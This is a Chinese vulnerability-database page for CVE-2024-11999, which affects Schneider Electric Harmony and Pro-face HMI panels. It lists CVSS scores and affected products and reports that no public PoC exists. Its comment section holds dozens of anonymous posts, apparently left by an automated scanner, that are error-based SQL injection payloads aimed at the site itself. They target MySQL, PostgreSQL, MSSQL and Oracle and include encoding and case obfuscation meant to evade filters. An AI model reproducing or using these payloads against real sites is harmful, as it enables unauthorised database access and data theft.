目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1336 元

100%
请我们喝杯咖啡

CVE-2024-11999— Schneider Electric多款产品 安全漏洞

CVSS 8.8 · High EPSS 0.64% · P47
获取后续新漏洞提醒登录后订阅

一、 漏洞 CVE-2024-11999 基础信息

漏洞信息
对漏洞内容有疑问？看看神龙的深度分析是否有帮助！
查看神龙十问 ↗

尽管我们使用了先进的大模型技术，但其输出仍可能包含不准确或过时的信息。神龙努力确保数据的准确性，但请您根据实际情况进行核实和判断。

Vulnerability Title
N/A
来源: CVE Program / CVE List V5
Vulnerability Description
CWE-1104: Use of Unmaintained Third-Party Components vulnerability exists that could cause complete control of the device when an authenticated user installs malicious code into HMI product.
来源: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
来源: CVE Program / CVE List V5
Vulnerability Type
使用未维护的第三方组件
来源: CVE Program / CVE List V5
Vulnerability Title
Schneider Electric多款产品 安全漏洞
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Description
Schneider Electric HMIST6等都是法国施耐德电气（Schneider Electric）公司的产品。Schneider Electric HMIST6是一款经济高效、品质出众的 HMI 面板。Schneider Electric HMIG3U是一款用于通用面板的高级盒式底座单元。Schneider Electric HMIG3X是一款 HMI 面板。 Schneider Electric多款产品存在安全漏洞，该漏洞源于存在使用未维护的第三方组件漏洞，当经过身份验证的用户将恶意代码安装
来源: 中国国家信息安全漏洞库 CNNVD
CVSS Information
N/A
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Type
N/A
来源: 中国国家信息安全漏洞库 CNNVD

受影响产品

厂商产品影响版本CPE订阅
Schneider ElectricHarmony (Formerly Magelis) HMIST6, HMISTM6, HMIG3U, HMIG3X, HMISTO7 series with EcoStruxure Operator Terminal Expert runtime All versions -
Schneider ElectricPFXST6000, PFXSTM6000, PFXSP5000, PFXGP4100 series with Pro-face BLUE runtime All versions -

二、漏洞 CVE-2024-11999 的公开POC

#POC 描述源链接神龙链接
AI 生成 POC高级

未找到公开 POC。

登录以生成 AI POC

三、漏洞 CVE-2024-11999 的情报信息

请登录查看更多情报信息。

IV. Related Vulnerabilities

Same vendor: Schneider Electric
Same weakness: CWE-1104

V. Comments for CVE-2024-11999

匿名用户
2026-06-15 19:13:57

1

匿名用户
2026-06-15 19:46:12

1

匿名用户
2026-06-16 15:59:20

test

匿名用户
2026-06-16 15:59:26

1'

匿名用户
2026-06-16 15:59:27

1"

匿名用户
2026-06-16 15:59:27

1)

匿名用户
2026-06-16 15:59:34

1' AND 1=1-- -

匿名用户
2026-06-16 15:59:34

1' OR 1=1-- -

匿名用户
2026-06-16 15:59:38

1'EXTRACTVALUE(1526,CONCAT(0x7e,(SELECT/**/(ELT(1526=1526,1))),0x7e))-- -

匿名用户
2026-06-16 15:59:43

1'EXTRACTVALUE(10700,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(10700=10700,1))),0x7e))-- -

匿名用户
2026-06-16 15:59:43

1)EXTRACTVALUE(7448,CONCAT(0x7e,(SELECT/**/(ELT(7448=7448,1))),0x7e))-- -

匿名用户
2026-06-16 15:59:46

1)EXTRACTVALUE(8182,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(8182=8182,1))),0x7e))-- -

匿名用户
2026-06-16 15:59:52

1')EXTRACTVALUE(2932,CONCAT(0x7e,(SELECT/**/(ELT(2932=2932,1))),0x7e)) AND '1'='1

匿名用户
2026-06-16 15:59:52

1')EXTRACTVALUE(4868,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(4868=4868,1))),0x7e)) AND '1'='1

匿名用户
2026-06-16 15:59:52

1EXTRACTVALUE(7881,CONCAT(0x7e,(SELECT/**/(ELT(7881=7881,1))),0x7e)) AND 1=1-- -

匿名用户
2026-06-16 15:59:58

1EXTRACTVALUE(3632,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(3632=3632,1))),0x7e)) AND 1=1-- -

匿名用户
2026-06-16 16:00:04

1'AND/**/1786=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(1786=1786)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)-- -

匿名用户
2026-06-16 16:00:04

1'anD/**/1728=caSt(%27~%27||(SELecT/**/(CAse/**/when/**/(1728=1728)/**/thEN/**/1/**/ELSe/**/0/**/ENd))::Text||%27~%27/**/aS/**/nUmErIC)-- -

匿名用户
2026-06-16 16:00:11

1)AND/**/7887=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(7887=7887)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)-- -

匿名用户
2026-06-16 16:00:15

1)AnD/**/2094=casT(%27~%27||(SELECt/**/(CaSE/**/WHEn/**/(2094=2094)/**/tHEN/**/1/**/ELse/**/0/**/ENd))::Text||%27~%27/**/aS/**/NUMeRIC)-- -

匿名用户
2026-06-16 16:00:16

1')AND/**/10045=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(10045=10045)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC) AND '1'='1

匿名用户
2026-06-16 16:00:20

1')anD/**/6459=CAsT(%27~%27||(sEleCt/**/(cASE/**/WhEn/**/(6459=6459)/**/tHEN/**/1/**/ELsE/**/0/**/END))::tEXT||%27~%27/**/aS/**/NUmERIc) AND '1'='1

匿名用户
2026-06-16 16:00:23

1AND/**/6735=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(6735=6735)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC) AND 1=1-- -

匿名用户
2026-06-16 16:00:28

1and/**/7034=caST(%27~%27||(sELeCT/**/(Case/**/WheN/**/(7034=7034)/**/tHEN/**/1/**/eLsE/**/0/**/ENd))::teXT||%27~%27/**/aS/**/NUMEric) AND 1=1-- -

匿名用户
2026-06-16 16:00:31

1'AND/**/9955/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(9955=9955)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))-- -

匿名用户
2026-06-16 16:00:36

1'AND%043255%0AIN%0F(SELECT%0A(%27~%27+(SELECT%02(CASE%0CWHEN%08(3255=3255)%0FTHEN%0E%271%27%0AELSE%0E%270%27%0BEND))+%27~%27))-- -

匿名用户
2026-06-16 16:00:41

1)AND/**/1607/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(1607=1607)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))-- -

匿名用户
2026-06-16 16:00:46

1)AND%0A10247%0BIN%02(SELECT%04(%27~%27+(SELECT%0C(CASE%0BWHEN%08(10247=10247)%08THEN%0A%271%27%01ELSE%0D%270%27%0CEND))+%27~%27))-- -

匿名用户
2026-06-16 16:00:55

1')AND/**/8989/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(8989=8989)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~')) AND '1'='1

匿名用户
2026-06-16 16:01:00

1')AND%0410124%0EIN%08(SELECT%0B(%27~%27+(SELECT%0C(CASE%0DWHEN%07(10124=10124)%05THEN%05%271%27%0DELSE%0F%270%27%0BEND))+%27~%27)) AND '1'='1

匿名用户
2026-06-16 16:01:04

1AND/**/7809/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(7809=7809)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~')) AND 1=1-- -

匿名用户
2026-06-16 16:01:10

1AND%023636%0BIN%0C(SELECT%04(%27~%27+(SELECT%08(CASE%05WHEN%0A(3636=3636)%0ATHEN%04%271%27%03ELSE%08%270%27%09END))+%27~%27)) AND 1=1-- -

匿名用户
2026-06-16 16:01:13

1'AND/**/8250=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8250=8250)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL)-- -

匿名用户
2026-06-16 16:01:16

1'AnD/**/8944=(SElEct/**/UppEr(XmltYpE(Chr(60)||ChR(58)||%27~%27||(SelEct/**/(cAse/**/WheN/**/(8944=8944)/**/tHeN/**/1/**/else/**/0/**/END)/**/from/**/DUAl)||%27~%27||CHr(62)))/**/FRom/**/DUaL)-- -

匿名用户
2026-06-16 16:01:19

1)AND/**/10155=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10155=10155)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL)-- -

匿名用户
2026-06-16 16:01:19

1)and/**/5418=(SeLecT/**/UPpER(XMltyPE(chR(60)||Chr(58)||%27~%27||(sElECt/**/(caSe/**/whEn/**/(5418=5418)/**/THeN/**/1/**/ElSE/**/0/**/end)/**/FrOM/**/DuAl)||%27~%27||cHR(62)))/**/frOM/**/DUAL)-- -

匿名用户
2026-06-16 16:01:20

1')AND/**/3723=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3723=3723)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL) AND '1'='1

匿名用户
2026-06-16 16:01:27

1')AnD/**/10186=(SelecT/**/UpPeR(xMlTypE(cHr(60)||CHR(58)||%27~%27||(seLEcT/**/(caSe/**/when/**/(10186=10186)/**/ThEN/**/1/**/eLSe/**/0/**/ENd)/**/frOm/**/dUAL)||%27~%27||Chr(62)))/**/fROM/**/dUAL) AND '1'='1

匿名用户
2026-06-16 16:01:33

1AND/**/3981=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3981=3981)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL) AND 1=1-- -

匿名用户
2026-06-16 16:01:37

1AND/**/2188=(sELeCT/**/UPPer(XMLTYpe(chR(60)||cHR(58)||%27~%27||(SelecT/**/(cAsE/**/WHen/**/(2188=2188)/**/ThEN/**/1/**/ELSe/**/0/**/end)/**/FroM/**/duaL)||%27~%27||Chr(62)))/**/FROM/**/DUal) AND 1=1-- -

匿名用户
2026-06-16 16:01:37

1 AND EXTRACTVALUE(10513,CONCAT(0x7e,(SELECT/**/(ELT(10513=10513,1))),0x7e))-- -

匿名用户
2026-06-16 16:01:37

1 AND EXTRACTVALUE(8794,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(8794=8794,1))),0x7e))-- -

匿名用户
2026-06-16 16:01:42

1EXTRACTVALUE(5801,CONCAT(0x7e,(SELECT/**/(ELT(5801=5801,1))),0x7e))-- -

匿名用户
2026-06-16 16:01:47

1EXTRACTVALUE(3706,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(3706=3706,1))),0x7e))-- -

匿名用户
2026-06-16 16:01:47

1) AND EXTRACTVALUE(6996,CONCAT(0x7e,(SELECT/**/(ELT(6996=6996,1))),0x7e))-- -

匿名用户
2026-06-16 16:01:52

1) AND EXTRACTVALUE(8562,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(8562=8562,1))),0x7e))-- -

匿名用户
2026-06-16 16:01:57

1 AND AND/**/1456=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(1456=1456)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)-- -

匿名用户
2026-06-16 16:01:59

1 AND aNd/**/2382=cast(%27~%27||(SelecT/**/(CaSE/**/WHEN/**/(2382=2382)/**/tHEN/**/1/**/eLSE/**/0/**/eND))::Text||%27~%27/**/AS/**/NuMeRic)-- -

匿名用户
2026-06-16 16:02:02

1AND/**/7018=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(7018=7018)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)-- -

匿名用户
2026-06-16 16:02:03

1ANd/**/10052=CASt(%27~%27||(SeleCT/**/(cAsE/**/When/**/(10052=10052)/**/tHEN/**/1/**/ElsE/**/0/**/ENd))::tEXT||%27~%27/**/as/**/nUMeRiC)-- -

匿名用户
2026-06-16 16:02:07

1) AND AND/**/8848=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(8848=8848)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)-- -

匿名用户
2026-06-16 16:02:09

1) AND ANd/**/4022=CAsT(%27~%27||(SELEct/**/(Case/**/WheN/**/(4022=4022)/**/thEN/**/1/**/ElSE/**/0/**/enD))::Text||%27~%27/**/As/**/nUmeRiC)-- -

匿名用户
2026-06-16 16:02:10

1 AND AND/**/2410/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(2410=2410)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))-- -

匿名用户
2026-06-16 16:02:12

1 AND AND%075099%04IN%0C(SELECT%04(%27~%27+(SELECT%06(CASE%0DWHEN%0F(5099=5099)%0DTHEN%0A%271%27%01ELSE%02%270%27%0FEND))+%27~%27))-- -

匿名用户
2026-06-16 16:02:15

1AND/**/7490/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(7490=7490)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))-- -

匿名用户
2026-06-16 16:02:15

1AND%0E2679%09IN%04(SELECT%0B(%27~%27+(SELECT%05(CASE%07WHEN%04(2679=2679)%0FTHEN%0D%271%27%02ELSE%05%270%27%0FEND))+%27~%27))-- -

发表评论